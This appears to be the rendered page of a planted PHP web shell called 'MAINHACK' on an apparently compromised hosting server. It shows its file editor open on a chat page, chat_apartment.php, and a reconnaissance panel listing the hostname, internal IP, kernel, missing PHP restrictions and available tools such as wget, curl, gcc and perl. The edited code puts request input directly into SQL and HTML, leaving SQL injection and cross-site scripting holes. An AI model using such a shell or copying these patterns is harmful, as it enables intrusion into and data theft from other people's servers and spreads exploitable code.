[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: chat_apartment.php
<?php include 'header.php'; $rid=$_REQUEST['id']; ?> <style> .left{ width:100%; text-align:left; color:red; } .right{ width:100%; text-align:right;color:green; } </style> <script> $(document).ready(function(){ $('#send').click(function(){ $.ajax({ type:"POST", url:"ajax_check.php", data:$('#form').serialize(), success: function(response){ // alert(response); show_message(response); $('#message').val(''); } }); }); }); function show_message(val){ $.ajax({ type:"POST", url:"ajax_check.php", data:"action="+val, success: function(response){ // alert('ok'); // alert(response); $('#display').html(response); $('#show').hide(); } }); } /*function loadlink(){ $('#display').load('test.php',function () { $(this).unwrap(); }); } */ show_message("<?=$rid?>"); // This will run on page load setInterval(function(){ show_message("<?=$rid?>") // this will run after every 5 seconds }, 10000); </script> <div class="main-panel"> <div class="content"> <div class="container"> <h4 class="page-title">Chat <span>Window</span></h4> <div class="row"> <div class="col-md-6"> <form method="post" id="form" name="form"> <input type="text" id="message" placeholder="Write Message" name="message" class="form-control"> <input type="hidden" name="chat_id1" value="<?=$_SESSION['login_id']?>" class="form-control"> <input type="hidden" name="rid" value="<?=$_REQUEST['id']?>" class="form-control"> <input type="button" name="send" class="btn btn-xs btn-success" id="send" value="send"> </form> </div> <div class="col-md-6"> <div id="display"></div> <div id="show" style="display:"> <?php $sq="select * from chat where rid='".$_REQUEST['id']."'"; $s=$con->prepare($sq); $s->execute(); $num=$s->rowCount(); while ($row = $s->fetch(PDO::FETCH_ASSOC)){ if($row['chat_id1']==$_SESSION['login_id']) { echo "<div class='right' style=''>".$row['message']."</div><br>"; }else{ echo "<div class='left' style=''>".$row['message']."</div><br>"; } } ?> </div> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619